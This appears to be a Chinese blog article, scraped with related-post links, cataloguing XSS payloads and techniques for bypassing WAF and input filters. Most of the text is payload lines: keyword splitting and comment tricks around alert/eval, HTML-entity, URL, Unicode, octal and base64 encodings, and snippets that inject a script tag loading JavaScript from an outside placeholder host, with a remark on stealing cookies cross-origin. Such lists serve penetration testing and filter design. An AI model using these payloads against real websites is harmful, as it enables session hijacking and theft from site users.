0x00 XSS基本测试流程

原则是“见框就插”,多动手,这里分享几个经典测试payload:

"><svg/onload=alert(1)//

具体引用外部js的代码姿势是:

<svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//

在火狐浏览器下查看的效果(浏览器解析时会自动加上引号):

<a href="javascript:alert(1)" >click me</a>       //a标签伪协议执行
<a href="data:text/html;base64,这里跟着base64之后的js代码">click here</a>        //data引用外域资源

外域获取cookie,据我所知只有火狐才可以了,这里涉及同源策略相关知识。

具体情况还需要具体分析,一定要记住 灵活构造 才是XSS最核心的东西!

下面,我总结了针对不同的防护措施,可采取的绕过姿势,即是本文的重点。

0x01 弹窗关键字检测绕过

基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:

添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)

添加多行注释:alert/*abcd*/(/xss/)

添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)

使用''代替():alert'xss'

使用括号分割:(alert)(/xss/)、((alert))(/xss/)

使用window和top:

<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>

另外还可以通过以下方式绕过WAF:

<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>

另外还可以通过异常处理

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

eval(string)参数为字符串,可以拼接关键字绕过检测。

<svg/onload=eval('ale'+'rt(1)')>

另外跳转中也可以使用关键字拼接

<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

0x02 编码绕过

  1. html实体编码
<iframe src=javascript:alert(1)>

html标签中支持十进制,例如:

<iframe src=javascript:alert(1)>

十六进制,例如:

<iframe src=javascript:alert(1)>

可以不带分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>

绕过关键字过滤

1.<iframe src=javas	cript:alert(1)></iframe> //Tab
2.<iframe src=javas cript:alert(1)></iframe> //回车
3.<iframe src=javas cript:alert(1)></iframe> //换行
4.<iframe src=javascript:alert(1)></iframe> //编码冒号
5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
  1. URL编码
<a href="{here}">xx</a>
<iframe src="{here}">

当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如

<iframe src=”javascript:alert(1)”>test</iframe>

同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

可以二次URL编码

<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>

这里结合一下上面说16进制编码

<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
  1. Unicode编码
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus>
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>

另外还有八进制和十六进制

1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>

有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等

同样也可以使用window[‘eval’]

1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
  1. Base64编码
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>

需要注意内容是可以做实体编码。不影响XSS执行。

1.<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
2.<iframe srcdoc="<script>alert(1)</script>"></iframe>

另外还可以使用atob函数

1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
  1. 其他

    String.fromCharCode:
 <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>

这里针对HTML编码、URL编码、Unicode编码还涉及到一个解码顺序的问题:

我们以<a href=javascript:alert(1)>Click</a>为例

根据上面的例子,我们可以使用三种编码:

HTML编码:

<a href=javascript:alert(1)>Click</a>

Unicode编码:

<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>

URL编码:

<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>

然后我们把这三种解码结合起来:Unicode编码 -> URL编码 -> HTML编码

<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>

发现同样是可以弹窗的。

0x03 引入外部JS

通过在<script>标签中引入其他字符绕过

1.<script/src='1.js'/~~234*234></script ~~234*234>

2.onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'

3.onfocus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字

4.[an error occurred while processing the directive] //SSI

5.<link%20rel=import%20href="2.js">

0x04 OWASP备忘录

Basic XSS Test Without Filter Evasion

0x05 其他收集

Github



附编码转换工具:http://bianma.51240.com/

注:XSS漏洞原理以及防护原理详见:http://www.recorday.cn/index.php/2018/01/25/xss1/

绕过XSS过滤姿势总结的更多相关文章

  1. xss的变形--如何绕过xss过滤

    我们可以通过构造xss代码进行各种变形,以绕过xss过滤器的检测 1.大小写检测 将payload进行大小写转化 如<Img SRC='#'  Onerror="alert(/xss/ ...

  2. Bypass xss过滤的测试方法

    0x00 背景 本文来自于<Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters>其中的byp ...

  3. (转)Bypass xss过滤的测试方法

    from wooyun//五道口杀气 · 2014/01/02 19:16 0x00 背景 本文来自于<Modern Web Application Firewalls Fingerprinti ...

  4. dedecms功能性函数封装(XSS过滤、编码、浏览器XSS hack、字符操作函数)

    dedecms虽然有诸多漏洞,但不可否认确实是一个很不错的内容管理系统(cms),其他也不乏很多功能实用性的函数,以下就部分列举,持续更新,不作过多说明.使用时需部分修改,你懂的 1.XSS过滤. f ...

  5. Asp.net Mvc中利用ValidationAttribute实现xss过滤

    在网站开发中,需要注意的一个问题就是防范XSS攻击,Asp.net mvc中已经自动为我们提供了这个功能.用户提交数据时时,在生成Action参数的过程中asp.net会对用户提交的数据进行验证,一旦 ...

  6. XSS过滤JAVA过滤器filter 防止常见SQL注入

    Java项目中XSS过滤器的使用方法. 简单介绍: XSS : 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩 ...

  7. 如何在springboot项目中进行XSS过滤

    简单介绍 XSS : 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意 ...

  8. spring boot集成swagger,自定义注解,拦截器,xss过滤,异步调用,guava限流,定时任务案例, 发邮件

    本文介绍spring boot集成swagger,自定义注解,拦截器,xss过滤,异步调用,定时任务案例 集成swagger--对于做前后端分离的项目,后端只需要提供接口访问,swagger提供了接口 ...

  9. python(Django之组合搜索、JSONP、XSS过滤 )

    一.组合搜索 二.jsonp 三.xss过滤 一.组合搜索 首先,我们在做一个门户网站的时候,前端肯定是要进行搜索的,但是如果搜索的类型比较多的话,怎么做才能一目了然的,这样就引出了组合搜索的这个案例 ...

随机推荐

  1. xheditor图片上传

    前端步骤:分为三部,这三部做完之后就能正确显示富文本了 1.下载xheditor文件,并按照如下要求进行引入: <!-- xheditor富文本的文件引入 --> <script t ...

  2. 原来 CPU 为程序性能优化做了这么多

    本文主要来学习内存屏障和 CPU 缓存知识,以便于我们去了解 CPU 对程序性能优化做了哪些努力. 首先来看下 CPU 缓存: CPU 缓存 CPU 缓存是为了提高程序运行的性能,CPU 在很多处理上 ...

  3. 李宏毅老师机器学习课程笔记_ML Lecture 1: 回归案例研究

    引言: 最近开始学习"机器学习",早就听说祖国宝岛的李宏毅老师的大名,一直没有时间看他的系列课程.今天听了一课,感觉非常棒,通俗易懂,而又能够抓住重点,中间还能加上一些很有趣的例子 ...

  4. 用python实现矩阵转置,python3 中zip()函数

    前几天群里有同学提出了一个问题:手头现在有个列表,列表里面两个元素,比如[1, 2],之后不断的添加新的列表,往原来相应位置添加.例如添加[3, 4]使原列表扩充为[[1, 3], [2, 4]],再 ...

  5. 微信内置浏览器的JsAPI(WeixinJSBridge续)进入全屏

    微信内置浏览器的JsAPI(WeixinJSBridge续)进入全屏 之前有写过几篇关于微信内置浏览器(WebView)中特有的Javascript API(Javascript Interface) ...

  6. 用卷积神经网络和自注意力机制实现QANet(问答网络)

    欢迎大家关注我们的网站和系列教程:http://www.tensorflownews.com/ ,学习更多的机器学习.深度学习的知识! 在这篇文章中,我们将解决自然语言处理(具体是指问答)中最具挑战性 ...

  7. 深入理解JavaScript中的堆与栈 、浅拷贝与深拷贝

    JavaScript中的浅拷贝与深拷贝  学了这么长时间的JavaScript想必大家对浅拷贝和深拷贝还不太熟悉吧,今天在项目中既然用到了,早晚也要理清一下思路了,在了解之前,我们还是先从JavaSc ...

  8. EntityFramework Core 3.x添加查询提示(NOLOCK)

    前言 前几天看到有园友写了一篇关于添加NOLOCK查询提示的博文<https://www.cnblogs.com/weihanli/p/12623934.html>,这里呢,我将介绍另外一 ...

  9. iOS 图片圆角性能

    通常设置圆角方式 imageView.clipsToBounds = YES; imageView.layer.cornerRadius = 50; 这样设置会触发离屏渲染,比较消耗性能.比如当一个页 ...

  10. iOS 性能优化收集

    iOS 性能调试 instrument Instrument Instrument之Core Animation工具 避免图层混合 ①.确保控件的opaque属性设置为true,确保backgroun ...